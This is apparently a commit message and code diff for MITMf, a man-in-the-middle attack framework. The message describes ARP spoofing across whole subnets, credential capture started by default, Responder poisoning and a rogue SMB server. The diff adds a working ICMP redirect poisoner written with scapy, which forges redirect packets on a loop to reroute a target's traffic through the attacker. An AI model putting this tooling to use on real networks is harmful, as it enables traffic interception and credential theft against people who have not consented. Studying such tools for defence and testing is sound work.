This is 1/2 of the work done... lot's of cool stuff!

I've re-written a decent amount of the framework to support dynamic config file updates, revamped the ARP Spoofing 'engine' and changed the way MITMf integrates Responder and Netcreds.

- Net-creds is now started by default and no longer a plugin.. It's all about getting those creds after all.
- Integrated the Subterfuge Framework's ARPWatch script, it will enable itself when spoofing the whole subnet (also squashed bugs in the original ARP spoofing code)
- The spoof plugin now supports specifying a range of targets (e.g. --target 10.10.10.1-15) and multiple targets (e.g. --target 10.10.10.1,10.10.10.2)
- An SMB Server is now started by default, MITMf now uses Impacket's SMBserver as supposed to the one built into Responder, mainly for 2 reasons:
  1) Impacket is moving towards SMB2 support and is actively developed
  2) Impacket's SMB server is fully functional as supposed to Responder's (will be adding a section for it in the config file)
  3) Responder's SMB server was unrealiable when used through MITMf (After spending a day trying to figure out why, I just gave up and yanked it out)

- Responder's code has been broken down into single importable classes (way easier to manage and read, ugh!)
- Started adding dynamic config support to Responder's code and changed the logging messages to be a bit more readable.
- POST data captured through the proxy will now only be logged and printed to STDOUT when it's decodable to UTF-8 (this prevents logging encrypted data which is no use)
- Responder and the Beefapi script are no longer submodules (they seem to be a pain to package, so i removed them to help a brother out)
- Some plugins are missing because I'm currently re-writing them, will be added later
- Main plugin class now inharates from the ConfigWatcher class, this way plugins will support dynamic configs natively! \o/

core/protocols/icmp/ICMPpoisoner.py

@@ -0,0 +1,68 @@
+#!/usr/bin/env python2.7
+
+# Copyright (c) 2014-2016 Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import logging
+import threading
+import binascii
+import random
+#import dns.resolver
+
+from base64 import b64decode
+from urllib import unquote
+from time import sleep
+#from netfilterqueue import NetfilterQueue
+
+logging.getLogger("scapy.runtime").setLevel(logging.ERROR)  #Gets rid of IPV6 Error when importing scapy
+from scapy.all import *
+
+mitmf_logger = logging.getLogger('mitmf')
+
+class ICMPpoisoner():
+
+    def __init__(self, interface, target, gateway, ip_address):
+
+        self.target        = target
+        self.gateway       = gateway
+        self.interface     = interface
+        self.ip_address    = ip_address
+        self.debug         = False
+        self.send          = True
+        self.icmp_interval = 2
+
+    def build_icmp(self):
+        pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
+              IP(src=self.target, dst=self.gateway)/UDP()
+
+        return pkt
+
+    def start(self):
+        pkt = self.build_icmp()
+
+        t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,))
+        t.setDaemon(True)
+        t.start()
+
+    def stop(self):
+        self.send = False
+        sleep(3)
+
+    def send_icmps(self, pkt, interface, debug):
+        while self.send:
+            sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug)